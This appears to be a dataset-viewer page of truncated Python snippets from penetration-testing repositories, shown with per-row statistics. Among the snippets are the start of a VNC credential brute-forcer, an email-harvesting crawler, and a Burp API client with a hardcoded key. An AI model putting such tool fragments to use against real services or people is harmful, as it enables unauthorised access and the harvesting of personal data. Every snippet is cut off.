clamd = pyclamd.ClamdUnixSocket()
# test if server is reachable
clamd.ping()
except pyclamd.ConnectionError:
# if failed, test for network socket
clamd = pyclamd.ClamdNetworkSocket()
try:
clamd.ping()
except pyclamd.ConnectionError:
raise ValueError('could not connect to clamd server e... | 23.222222 | 88 | 0.758621 |
PenetrationTestingScripts | from printers import printPink,printGreen
import time
import threading
from multiprocessing.dummy import Pool
from vnclib import *
class vnc_burp(object):
def __init__(self,c):
self.config=c
self.lock=threading.Lock()
self.result=[]
self.lines=self.config.file2list("conf/vnc.conf... | 31.04 | 114 | 0.47627 |
owtf | """
tests.functional.plugins.web.active.test_web
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"""
from tests.owtftest import OWTFCliWebPluginTestCase
class OWTFCliWebPluginTest(OWTFCliWebPluginTestCase):
categories = ["plugins", "web"]
def test_web_active(self):
"""Test OWTF WEB active plugins."""
... | 28.666667 | 87 | 0.490398 |
Hands-On-Penetration-Testing-with-Python | import requests
import json
from urlparse import urljoin
import socket
import ast
import time
class Burp_automate():
def __init__(self):
self.result=""
self.api_key="odTOmUX9mNTV3KRQ4La4J1pov6PEES72"
self.api_url="http://127.0.0.1:1337"
def start(self):
try:
data='{"application_logins":[{"password":"... | 28.762887 | 331 | 0.577616 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalCSRF")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 26.909091 | 75 | 0.77451 |
cybersecurity-penetration-testing | from bs4 import BeautifulSoup
import requests
import requests.exceptions
import urlparse
from collections import deque
import re
# a queue of urls to be crawled
urls = deque(['https://www.packtpub.com/'])
# a set of urls that we have already crawled
scraped_urls = set()
# a set of crawled emails
emails = set()
# S... | 28.666667 | 97 | 0.64142 |
Hands-On-Penetration-Testing-with-Python | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Deleting field 'Project.username_filed'
db.delete_column(u'x... | 61.943925 | 130 | 0.542174 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.